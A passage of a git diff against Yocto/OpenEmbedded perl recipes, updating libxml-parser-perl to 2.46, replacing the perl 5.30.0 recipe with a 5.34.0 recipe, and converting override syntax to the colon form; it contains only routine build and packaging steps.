-EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR} CC='${CC}' LD='${CCLD}' FULL_AR='${AR}'"
-
-inherit cpan ptest-perl
-
-# fix up sub MakeMaker project as arguments don't get propagated though
-# see https://rt.cpan.org/Public/Bug/Display.html?id=28632
-do_configure_append_class-target() {
- sed -E \
- -e 's:-L${STAGING_LIBDIR}::g' -e 's:-I${STAGING_INCDIR}::g' \
- -i Makefile Expat/Makefile
-}
-
-do_configure_append() {
- sed -e 's:--sysroot=.*\(\s\|$\):--sysroot=${STAGING_DIR_TARGET} :g' \
- -i Makefile Expat/Makefile
- sed 's:^FULL_AR = .*:FULL_AR = ${AR}:g' -i Expat/Makefile
- # make sure these two do not build in parallel
- sed 's!^$(INST_DYNAMIC):!$(INST_DYNAMIC): $(BOOTSTRAP)!' -i Expat/Makefile
-}
-
-do_compile() {
- export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
- cpan_do_compile
-}
-
-do_compile_class-native() {
- cpan_do_compile
-}
-
-do_install_ptest() {
- sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlstats
- sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlfilter
- sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlcomments
- sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/canonical
- cp -r ${B}/samples ${D}${PTEST_PATH}
- chown -R root:root ${D}${PTEST_PATH}/samples
-}
-
-RDEPENDS_${PN}-ptest += "perl-module-filehandle perl-module-if perl-module-test perl-module-test-more"
-
-BBCLASSEXTEND="native nativesdk"
diff --git a/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb b/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb
new file mode 100644
index 0000000000..6cd40bd292
--- /dev/null
+++ b/meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb
@@ -0,0 +1,59 @@
+SUMMARY = "XML::Parser - A perl module for parsing XML documents"
+HOMEPAGE = "https://libexpat.github.io/"
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+LIC_FILES_CHKSUM = "file://Parser.pm;beginline=1;endline=7;md5=d12cc778c80fc4c518f0e5dee29fd5fb"
+
+DEPENDS += "expat"
+
+SRC_URI = "http://www.cpan.org/modules/by-module/XML/XML-Parser-${PV}.tar.gz \
+ file://ptest-perl/run-ptest \
+ file://0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch \
+ "
+SRC_URI[md5sum] = "80bb18a8e6240fcf7ec2f7b57601c170"
+SRC_URI[sha256sum] = "d331332491c51cccfb4cb94ffc44f9cd73378e618498d4a37df9e043661c515d"
+
+S = "${WORKDIR}/XML-Parser-${PV}"
+
+EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR} CC='${CC}' LD='${CCLD}' FULL_AR='${AR}'"
+
+inherit cpan ptest-perl
+
+# fix up sub MakeMaker project as arguments don't get propagated though
+# see https://rt.cpan.org/Public/Bug/Display.html?id=28632
+do_configure:append:class-target() {
+ sed -E \
+ -e 's:-L${STAGING_LIBDIR}::g' -e 's:-I${STAGING_INCDIR}::g' \
+ -i Makefile Expat/Makefile
+}
+
+do_configure:append() {
+ sed -e 's:--sysroot=.*\(\s\|$\):--sysroot=${STAGING_DIR_TARGET} :g' \
+ -i Makefile Expat/Makefile
+ sed 's:^FULL_AR = .*:FULL_AR = ${AR}:g' -i Expat/Makefile
+ # make sure these two do not build in parallel
+ sed 's!^$(INST_DYNAMIC):!$(INST_DYNAMIC): $(BOOTSTRAP)!' -i Expat/Makefile
+}
+
+do_compile() {
+ export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
+ cpan_do_compile
+}
+
+do_compile:class-native() {
+ cpan_do_compile
+}
+
+do_install_ptest() {
+ sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlstats
+ sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlfilter
+ sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/xmlcomments
+ sed -i -e "s:/usr/local/bin/perl:/usr/bin/perl:g" ${B}/samples/canonical
+ cp -r ${B}/samples ${D}${PTEST_PATH}
+ chown -R root:root ${D}${PTEST_PATH}/samples
+}
+
+RDEPENDS:${PN} += "perl-module-carp perl-module-file-spec"
+RDEPENDS:${PN}-ptest += "perl-module-filehandle perl-module-if perl-module-test perl-module-test-more"
+
+BBCLASSEXTEND="native nativesdk"
diff --git a/meta/recipes-devtools/perl/libxml-perl_0.08.bb b/meta/recipes-devtools/perl/libxml-perl_0.08.bb
index 818ae3d571..323853cc2f 100644
--- a/meta/recipes-devtools/perl/libxml-perl_0.08.bb
+++ b/meta/recipes-devtools/perl/libxml-perl_0.08.bb
@@ -5,7 +5,7 @@ XML::Grove and others."
HOMEPAGE = "http://search.cpan.org/dist/libxml-perl/"
SUMMARY = "Collection of Perl modules for working with XML"
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
PR = "r3"
LIC_FILES_CHKSUM = "file://README;beginline=33;endline=35;md5=1705549eef7577a3d6ba71123a1f0ce8"
@@ -26,5 +26,5 @@ do_compile() {
cpan_do_compile
}
-RDEPENDS_${PN} += "perl-module-carp perl-module-overload perl-module-universal perl-module-io-handle"
-RDEPENDS_${PN}-ptest += "libxml-parser-perl perl-module-file-glob"
+RDEPENDS:${PN} += "perl-module-carp perl-module-overload perl-module-universal perl-module-io-handle"
+RDEPENDS:${PN}-ptest += "libxml-parser-perl perl-module-file-glob"
diff --git a/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb b/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb
index 53788d5585..791404e5bc 100644
--- a/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb
+++ b/meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb
@@ -6,7 +6,7 @@ on top of an underlying XML parsing module to maintain XML files \
where the original uses plain Perl or SAX parsers."
HOMEPAGE = "http://search.cpan.org/~markov/XML-LibXML-Simple-0.93/lib/XML/LibXML/Simple.pod"
SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=cf206df8c9fe775f1d4c484386491eac"
DEPENDS += "libxml-parser-perl"
@@ -21,13 +21,13 @@ EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}"
inherit cpan ptest-perl
-RDEPENDS_${PN} += " \
+RDEPENDS:${PN} += " \
libxml-namespacesupport-perl \
libxml-parser-perl \
libxml-sax-perl \
"
-RDEPENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += " \
perl-module-file-temp \
perl-module-test-more \
"
diff --git a/meta/recipes-devtools/perl/perl-ptest.inc b/meta/recipes-devtools/perl/perl-ptest.inc
index 7152057762..54c7807571 100644
--- a/meta/recipes-devtools/perl/perl-ptest.inc
+++ b/meta/recipes-devtools/perl/perl-ptest.inc
@@ -42,9 +42,12 @@ do_install_ptest () {
# Remove a useless timestamp...
sed -i -e '/Autogenerated starting on/d' ${D}${PTEST_PATH}/lib/unicore/mktables.lst
+
+ # Remove files with host-specific configuration for building native binaries
+ rm ${D}${PTEST_PATH}/Makefile.config ${D}${PTEST_PATH}/xconfig.h ${D}${PTEST_PATH}/xconfig.sh
}
-python populate_packages_prepend() {
+python populate_packages:prepend() {
# Put all *.t files from the lib dir in the ptest package
# do_split_packages requires a pair of () in the regex, but we have nothing
# to match, so use an empty pair.
@@ -53,8 +56,8 @@ python populate_packages_prepend() {
'${PN}-ptest%s', '%s', recursive=True, match_path=True)
}
-RDEPENDS_${PN}-ptest += "${PN}-modules ${PN}-doc sed"
+RDEPENDS:${PN}-ptest += "${PN}-modules ${PN}-doc sed"
# The perl-ptest package contains Perl internal modules and generating file
# dependencies for it causes problems.
-SKIP_FILEDEPS_${PN}-ptest = '1'
+SKIP_FILEDEPS:${PN}-ptest = '1'
diff --git a/meta/recipes-devtools/perl/perl_5.30.0.bb b/meta/recipes-devtools/perl/perl_5.30.0.bb
deleted file mode 100644
index 1d906a7515..0000000000
--- a/meta/recipes-devtools/perl/perl_5.30.0.bb
+++ /dev/null
@@ -1,337 +0,0 @@
-SUMMARY = "Perl scripting language"
-HOMEPAGE = "http://www.perl.org/"
-SECTION = "devel"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://Copying;md5=5b122a36d0f6dc55279a0ebc69f3c60b \
- file://Artistic;md5=71a4d5d9acc18c0952a6df2218bb68da \
- "
-
-
-SRC_URI = "https://www.cpan.org/src/5.0/perl-${PV}.tar.gz;name=perl \
- https://github.com/arsv/perl-cross/releases/download/1.3/perl-cross-1.3.tar.gz;name=perl-cross \
- file://perl-rdepends.txt \
- file://0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch \
- file://0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch \
- file://0001-Somehow-this-module-breaks-through-the-perl-wrapper-.patch \
- file://errno_ver.diff \
- file://native-perlinc.patch \
- file://0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch \
- file://perl-dynloader.patch \
- file://0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch \
- file://fix-setgroup.patch \
- file://0001-enc2xs-Add-environment-variable-to-suppress-comments.patch \
- file://0002-Constant-Fix-up-shebang.patch \
- "
-SRC_URI_append_class-native = " \
- file://perl-configpm-switch.patch \
-"
-
-SRC_URI[perl.md5sum] = "9770584cdf9b5631c38097645ce33549"
-SRC_URI[perl.sha256sum] = "851213c754d98ccff042caa40ba7a796b2cee88c5325f121be5cbb61bbf975f2"
-SRC_URI[perl-cross.md5sum] = "4dda3daf9c4fe42b3d6a5dd052852a48"
-SRC_URI[perl-cross.sha256sum] = "49edea1ea2cd6c5c47386ca71beda8d150c748835781354dbe7f75b1df27e703"
-
-S = "${WORKDIR}/perl-${PV}"
-
-inherit upstream-version-is-even
-
-DEPENDS += "zlib virtual/crypt"
-
-PERL_LIB_VER = "${@'.'.join(d.getVar('PV').split('.')[0:2])}.0"
-
-PACKAGECONFIG ??= "bdb gdbm"
-PACKAGECONFIG[bdb] = ",-Ui_db,db"
-PACKAGECONFIG[gdbm] = ",-Ui_gdbm,gdbm"
-
-# Don't generate comments in enc2xs output files. They are not reproducible
-export ENC2XS_NO_COMMENTS = "1"
-
-do_unpack_append() {
- bb.build.exec_func('do_copy_perlcross', d)
-}
-
-do_copy_perlcross() {
- cp -rfp ${WORKDIR}/perl-cross*/* ${S}
-}
-
-do_configure_class-target() {
- ./configure --prefix=${prefix} --libdir=${libdir} \
- --target=${TARGET_SYS} \
- -Duseshrplib \
- -Dsoname=libperl.so.5 \
- -Dvendorprefix=${prefix} \
- -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
- ${PACKAGECONFIG_CONFARGS}
-
- #perl.c uses an ARCHLIB_EXP define to generate compile-time code that
- #adds the archlibexp path to @INC during run-time initialization of a
- #new perl interpreter.
-
- #Because we've changed this value in a temporary way to make it
- #possible to use ExtUtils::Embed in the target build (the temporary
- #value in config.sh gets re-stripped out during packaging), the
- #ARCHLIB_EXP value that gets generated still uses the temporary version
- #instead of the original expected version (i.e. becauses it's in the
- #generated config.h, it doesn't get stripped out during packaging like
- #the others in config.sh).
-
- sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
-}
-
-do_configure_class-nativesdk() {
- ./configure --prefix=${prefix} \
- --target=${TARGET_SYS} \
- -Duseshrplib \
- -Dsoname=libperl.so.5 \
- -Dvendorprefix=${prefix} \
- -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
- ${PACKAGECONFIG_CONFARGS}
-
- # See the comment above
- sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
-}
-
-do_configure_class-native() {
- ./configure --prefix=${prefix} \
- -Dbin=${bindir}/perl-native \
- -Duseshrplib \
- -Dsoname=libperl.so.5 \
- -Dvendorprefix=${prefix} \
- -Ui_xlocale \
- ${PACKAGECONFIG_CONFARGS}
-}
-
-do_configure_append() {
- if [ -n "$SOURCE_DATE_EPOCH" ]; then
- PERL_BUILD_DATE="$(${PYTHON} -c "\
-from datetime import datetime, timezone; \
-print(datetime.fromtimestamp($SOURCE_DATE_EPOCH, timezone.utc).strftime('%a %b %d %H:%M:%S %Y')) \
- ")"
- echo "#define PERL_BUILD_DATE \"$PERL_BUILD_DATE\"" >> config.h
- fi
-}
-
-do_compile() {
- oe_runmake
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-
- install -d ${D}${libdir}/perl5
- install -d ${D}${libdir}/perl5/${PV}/
- install -d ${D}${libdir}/perl5/${PV}/ExtUtils/
-
- # Save native config
- install config.sh ${D}${libdir}/perl5
- install lib/Config.pm ${D}${libdir}/perl5/${PV}/
- install lib/ExtUtils/typemap ${D}${libdir}/perl5/${PV}/ExtUtils/
-
- # Fix up shared library
- rm ${D}/${libdir}/perl5/${PV}/*/CORE/libperl.so
- ln -sf ../../../../libperl.so.${PERL_LIB_VER} $(echo ${D}/${libdir}/perl5/${PV}/*/CORE)/libperl.so
-}
-
-do_install_append_class-target() {
- # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
- ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
-
-}
-
-do_install_append_class-nativesdk() {
- # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
- ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
-
- create_wrapper ${D}${bindir}/perl \
- PERL5LIB='$PERL5LIB:$OECORE_NATIVE_SYSROOT/${libdir_nativesdk}/perl5/site_perl/${PV}:$OECORE_NATIVE_SYSROOT/${libdir_nativesdk}/perl5/vendor_perl/${PV}:$OECORE_NATIVE_SYSROOT/${libdir_nativesdk}/perl5/${PV}'
-}
-
-do_install_append_class-native () {
- # Those wrappers mean that perl installed from sstate (which may change
- # path location) works and that in the nativesdk case, the SDK can be
- # installed to a different location from the one it was built for.
- create_wrapper ${D}${bindir}/perl-native/perl PERL5LIB='$PERL5LIB:${STAGING_LIBDIR}/perl5/site_perl/${PV}:${STAGING_LIBDIR}/perl5/vendor_perl/${PV}:${STAGING_LIBDIR}/perl5/${PV}'
-
- # Use /usr/bin/env nativeperl for the perl script.
- for f in `grep -Il '#! *${bindir}/perl' ${D}/${bindir}/*`; do
- sed -i -e 's|${bindir}/perl|/usr/bin/env nativeperl|' $f
- done
-}
-
-PACKAGE_PREPROCESS_FUNCS += "perl_package_preprocess"
-
-perl_package_preprocess () {
- # Fix up installed configuration
- sed -i -e "s,${D},,g" \
- -e "s,${DEBUG_PREFIX_MAP},,g" \
- -e "s,--sysroot=${STAGING_DIR_HOST},,g" \
- -e "s,-isystem${STAGING_INCDIR} ,,g" \
- -e "s,${STAGING_LIBDIR},${libdir},g" \
- -e "s,${STAGING_BINDIR},${bindir},g" \
- -e "s,${STAGING_INCDIR},${includedir},g" \
- -e "s,${STAGING_BINDIR_NATIVE}/perl-native/,${bindir}/,g" \
- -e "s,${STAGING_BINDIR_NATIVE}/,,g" \
- -e "s,${STAGING_BINDIR_TOOLCHAIN}/${TARGET_PREFIX},${bindir},g" \
- -e 's:${RECIPE_SYSROOT}::g' \
- ${PKGD}${bindir}/h2xs \
- ${PKGD}${bindir}/h2ph \
- ${PKGD}${bindir}/pod2man \
- ${PKGD}${bindir}/pod2text \
- ${PKGD}${bindir}/pod2usage \
- ${PKGD}${bindir}/podchecker \
- ${PKGD}${bindir}/podselect \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/config.h \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/perl.h \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/pp.h \
- ${PKGD}${libdir}/perl5/${PV}/Config.pm \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pod \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_git.pl \
- ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy.pl \
- ${PKGD}${libdir}/perl5/${PV}/ExtUtils/Liblist/Kid.pm \
- ${PKGD}${libdir}/perl5/${PV}/FileCache.pm \
- ${PKGD}${libdir}/perl5/${PV}/pod/*.pod \
- ${PKGD}${libdir}/perl5/config.sh
-}
-
-require perl-ptest.inc
-
-FILES_${PN} = "${bindir}/perl ${bindir}/perl.real ${bindir}/perl${PV} ${libdir}/libperl.so* \
- ${libdir}/perl5/site_perl \
- ${libdir}/perl5/${PV}/Config.pm \
- ${libdir}/perl5/${PV}/*/Config_git.pl \
- ${libdir}/perl5/${PV}/*/Config_heavy-target.pl \
- ${libdir}/perl5/config.sh \
- ${libdir}/perl5/${PV}/strict.pm \
- ${libdir}/perl5/${PV}/warnings.pm \
- ${libdir}/perl5/${PV}/warnings \
- ${libdir}/perl5/${PV}/vars.pm \
- ${libdir}/perl5/site_perl \
- "
-RPROVIDES_${PN} += "perl-module-strict perl-module-vars perl-module-config perl-module-warnings \
- perl-module-warnings-register"
-
-FILES_${PN}-staticdev_append = " ${libdir}/perl5/${PV}/*/CORE/libperl.a"
-
-FILES_${PN}-dev_append = " ${libdir}/perl5/${PV}/*/CORE"
-
-FILES_${PN}-doc_append = " ${libdir}/perl5/${PV}/Unicode/Collate/*.txt \
- ${libdir}/perl5/${PV}/*/.packlist \
- ${libdir}/perl5/${PV}/ExtUtils/MANIFEST.SKIP \
- ${libdir}/perl5/${PV}/ExtUtils/xsubpp \
- ${libdir}/perl5/${PV}/ExtUtils/typemap \
- ${libdir}/perl5/${PV}/Encode/encode.h \
- "
-PACKAGES += "${PN}-misc"
-
-FILES_${PN}-misc = "${bindir}/*"
-
-PACKAGES += "${PN}-pod"
-
-FILES_${PN}-pod = "${libdir}/perl5/${PV}/pod \
- ${libdir}/perl5/${PV}/*.pod \
- ${libdir}/perl5/${PV}/*/*.pod \
- ${libdir}/perl5/${PV}/*/*/*.pod \
- ${libdir}/perl5/${PV}/*/*/*/*.pod \
- "
-
-PACKAGES += "${PN}-module-cpan ${PN}-module-unicore"
-
-FILES_${PN}-module-cpan += "${libdir}/perl5/${PV}/CPAN \
- "
-FILES_${PN}-module-unicore += "${libdir}/perl5/${PV}/unicore"
-
-# Create a perl-modules package recommending all the other perl
-# packages (actually the non modules packages and not created too)
-ALLOW_EMPTY_${PN}-modules = "1"
-PACKAGES += "${PN}-modules "
-
-PACKAGESPLITFUNCS_prepend = "split_perl_packages "
-
-python split_perl_packages () {
- libdir = d.expand('${libdir}/perl5/${PV}')
- do_split_packages(d, libdir, r'.*/auto/([^.]*)/[^/]*\.(so|ld|ix|al)', '${PN}-module-%s', 'perl module %s', recursive=True, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'.*linux/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'Module/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'Module/([^\/]*)/.*', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'.*linux/([^\/].*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
- do_split_packages(d, libdir, r'(^(?!(CPAN\/|CPANPLUS\/|Module\/|unicore\/)[^\/]).*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
-
- # perl-modules should recommend every perl module, and only the
- # modules. Don't attempt to use the result of do_split_packages() as some
- # modules are manually split (eg. perl-module-unicore).
- packages = filter(lambda p: 'perl-module-' in p, d.getVar('PACKAGES').split())
- d.setVar(d.expand("RRECOMMENDS_${PN}-modules"), ' '.join(packages))
-
- # Read the pre-generated dependency file, and use it to set module dependecies
- for line in open(d.expand("${WORKDIR}") + '/perl-rdepends.txt').readlines():
- splitline = line.split()
- if bb.data.inherits_class('native', d):
- module = splitline[0] + '-native'
- depends = "perl-native"
- else:
- module = splitline[0].replace("RDEPENDS_perl", "RDEPENDS_${PN}")
- depends = splitline[2].strip('"').replace("perl-module", "${PN}-module")
- d.appendVar(d.expand(module), " " + depends)
-}
-
-python() {
- if d.getVar('CLASSOVERRIDE') == "class-target":
- d.setVar("PACKAGES_DYNAMIC", "^perl-module-.*(?<!native)$")
- elif d.getVar('CLASSOVERRIDE') == "class-native":
- d.setVar("PACKAGES_DYNAMIC", "^perl-module-.*-native$")
- elif d.getVar('CLASSOVERRIDE') == "class-nativesdk":
- d.setVar("PACKAGES_DYNAMIC", "^nativesdk-perl-module-.*")
-}
-
-RDEPENDS_${PN}-misc += "perl perl-modules"
-RDEPENDS_${PN}-pod += "perl"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SSTATE_SCAN_FILES += "*.pm *.pod *.h *.pl *.sh"
-
-do_create_rdepends_inc() {
- cd ${WORKDIR}
- cat <<'EOPREAMBLE' > ${WORKDIR}/perl-rdepends.inc
-
-# Some additional dependencies that the above doesn't manage to figure out
-RDEPENDS_${PN}-module-file-spec += "${PN}-module-file-spec-unix"
-RDEPENDS_${PN}-module-math-bigint += "${PN}-module-math-bigint-calc"
-RDEPENDS_${PN}-module-thread-queue += "${PN}-module-attributes"
-RDEPENDS_${PN}-module-overload += "${PN}-module-overloading"
-
-# Generated depends list beyond this line
-EOPREAMBLE
- test -e packages-split.new && rm -rf packages-split.new
- cp -r packages-split packages-split.new && cd packages-split.new
- find . -name \*.pm | xargs sed -i '/^=head/,/^=cut/d'
- egrep -r "^\s*(\<use .*|\<require .*);?" perl-module-* --include="*.pm" | \
- sed "s/\/.*\.pm: */ += /g;s/[\"\']//g;s/;.*/\"/g;s/+= .*\(require\|use\)\> */+= \"perl-module-/g;s/CPANPLUS::.*/cpanplus/g;s/CPAN::.*/cpan/g;s/::/-/g;s/ [^+\"].*//g;s/_/-/g;s/\.pl\"$/\"/;s/\"\?\$/\"/;s/(//;" | tr [:upper:] [:lower:] | \
- awk '{if ($3 != "\x22"$1"\x22"){ print $0}}'| \
- grep -v -e "\-vms\-" -e module-5 -e "^$" -e "\\$" -e your -e tk -e autoperl -e html -e http -e parse-cpan -e perl-ostype -e ndbm-file -e module-mac -e fcgi -e lwp -e dbd -e dbix | \
- sort -u | \
- sed 's/^/RDEPENDS_/;s/perl-module-/${PN}-module-/g;s/module-\(module-\)/\1/g;s/\(module-load\)-conditional/\1/g;s/encode-configlocal/&-pm/;' | \
- egrep -wv '=>|module-a|module-apache.?|module-apr|module-authen-sasl|module-b-asmdata|module-convert-ebcdic|module-devel-size|module-digest-perl-md5|module-dumpvalue|module-extutils-constant-aaargh56hash|module-extutils-xssymset|module-file-bsdglob|module-for|module-it|module-io-socket-inet6|module-io-socket-ssl|module-io-string|module-ipc-system-simple|module-lexical|module-local-lib|metadata|module-modperl-util|module-pluggable-object|module-test-builder-io-scalar|module-test2|module-text-unidecode|module-unicore|module-win32|objects\sload|syscall.ph|systeminfo.ph|%s' | \
- egrep -wv '=>|module-algorithm-diff|module-carp|module-c<extutils-mm-unix>|module-encode-hanextra|module-extutils-makemaker-version-regex|module-file-spec|module-io-compress-lzma|module-locale-maketext-lexicon|module-log-agent|module-meta-notation|module-net-localcfg|module-net-ping-external|module-b-deparse|module-scalar-util|module-some-module|module-symbol|module-uri|module-win32api-file' >> ${WORKDIR}/perl-rdepends.generated
- cp ${WORKDIR}/perl-rdepends.generated ${THISDIR}/files/perl-rdepends.txt
-}
-
-# bitbake perl -c create_rdepends_inc
-addtask do_create_rdepends_inc
-
-SYSROOT_PREPROCESS_FUNCS += "perl_sysroot_create_wrapper"
-
-perl_sysroot_create_wrapper () {
- mkdir -p ${SYSROOT_DESTDIR}${bindir}
- # Create a wrapper that /usr/bin/env perl will use to get perl-native.
- # This MUST live in the normal bindir.
- cat > ${SYSROOT_DESTDIR}${bindir}/nativeperl << EOF
-#!/bin/sh
-realpath=\`readlink -fn \$0\`
-exec \`dirname \$realpath\`/perl-native/perl "\$@"
-EOF
- chmod 0755 ${SYSROOT_DESTDIR}${bindir}/nativeperl
- cat ${SYSROOT_DESTDIR}${bindir}/nativeperl
-}
-
diff --git a/meta/recipes-devtools/perl/perl_5.34.0.bb b/meta/recipes-devtools/perl/perl_5.34.0.bb
new file mode 100644
index 0000000000..8a1db7ed35
--- /dev/null
+++ b/meta/recipes-devtools/perl/perl_5.34.0.bb
@@ -0,0 +1,411 @@
+SUMMARY = "Perl scripting language"
+HOMEPAGE = "http://www.perl.org/"
+DESCRIPTION = "Perl is a highly capable, feature-rich programming language"
+SECTION = "devel"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+LIC_FILES_CHKSUM = "file://Copying;md5=5b122a36d0f6dc55279a0ebc69f3c60b \
+ file://Artistic;md5=71a4d5d9acc18c0952a6df2218bb68da \
+ "
+
+
+SRC_URI = "https://www.cpan.org/src/5.0/perl-${PV}.tar.gz;name=perl \
+ file://perl-rdepends.txt \
+ file://0001-Somehow-this-module-breaks-through-the-perl-wrapper-.patch \
+ file://errno_ver.diff \
+ file://native-perlinc.patch \
+ file://perl-dynloader.patch \
+ file://0002-Constant-Fix-up-shebang.patch \
+ file://determinism.patch \
+ file://CVE-2021-36770.patch \
+ file://aacd2398e766500cb5d83c4d76b642fcf31d997a.patch \
+ file://ea57297a58b8f10ab885c19eec48ea076116cc1f.patch \
+ file://5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch \
+ file://0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch \
+ "
+SRC_URI:append:class-native = " \
+ file://perl-configpm-switch.patch \
+"
+SRC_URI:append:class-target = " \
+ file://encodefix.patch \
+"
+
+SRC_URI[perl.sha256sum] = "551efc818b968b05216024fb0b727ef2ad4c100f8cb6b43fab615fa78ae5be9a"
+
+S = "${WORKDIR}/perl-${PV}"
+
+inherit upstream-version-is-even update-alternatives
+
+DEPENDS += "perlcross-native zlib virtual/crypt"
+
+PERL_LIB_VER = "${@'.'.join(d.getVar('PV').split('.')[0:2])}.0"
+
+PACKAGECONFIG ??= "gdbm"
+PACKAGECONFIG[bdb] = ",-Ui_db,db"
+PACKAGECONFIG[gdbm] = ",-Ui_gdbm,gdbm"
+
+# Don't generate comments in enc2xs output files. They are not reproducible
+export ENC2XS_NO_COMMENTS = "1"
+
+do_configure:prepend() {
+ cp -rfp ${STAGING_DATADIR_NATIVE}/perl-cross/* ${S}
+}
+
+do_configure:class-target() {
+ ./configure --prefix=${prefix} --libdir=${libdir} \
+ --target=${TARGET_SYS} \
+ -Duseshrplib \
+ -Dusethreads \
+ -Dsoname=libperl.so.5 \
+ -Dvendorprefix=${prefix} \
+ -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
+ -Dlibpth='${libdir} ${base_libdir}' \
+ -Dglibpth='${libdir} ${base_libdir}' \
+ -Alddlflags=' ${LDFLAGS}' \
+ ${PACKAGECONFIG_CONFARGS}
+
+ #perl.c uses an ARCHLIB_EXP define to generate compile-time code that
+ #adds the archlibexp path to @INC during run-time initialization of a
+ #new perl interpreter.
+
+ #Because we've changed this value in a temporary way to make it
+ #possible to use ExtUtils::Embed in the target build (the temporary
+ #value in config.sh gets re-stripped out during packaging), the
+ #ARCHLIB_EXP value that gets generated still uses the temporary version
+ #instead of the original expected version (i.e. becauses it's in the
+ #generated config.h, it doesn't get stripped out during packaging like
+ #the others in config.sh).
+
+ sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
+}
+
+do_configure:class-nativesdk() {
+ ./configure --prefix=${prefix} \
+ --target=${TARGET_SYS} \
+ -Duseshrplib \
+ -Dusethreads \
+ -Dsoname=libperl.so.5 \
+ -Dvendorprefix=${prefix} \
+ -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
+ -Alddlflags=' ${LDFLAGS}' \
+ ${PACKAGECONFIG_CONFARGS}
+
+ # See the comment above
+ sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
+}
+
+do_configure:class-native() {
+ ./configure --prefix=${prefix} \
+ -Dbin=${bindir}/perl-native \
+ -Duseshrplib \
+ -Dusethreads \
+ -Dsoname=libperl.so.5 \
+ -Dvendorprefix=${prefix} \
+ -Ui_xlocale \
+ -Alddlflags=' ${LDFLAGS}' \
+ ${PACKAGECONFIG_CONFARGS}
+}
+
+do_configure:append() {
+ if [ -n "$SOURCE_DATE_EPOCH" ]; then
+ PERL_BUILD_DATE="$(${PYTHON} -c "\
+from datetime import datetime, timezone; \
+print(datetime.fromtimestamp($SOURCE_DATE_EPOCH, timezone.utc).strftime('%a %b %d %H:%M:%S %Y')) \
+ ")"
+ echo "#define PERL_BUILD_DATE \"$PERL_BUILD_DATE\"" >> config.h
+ fi
+}
+
+do_compile() {
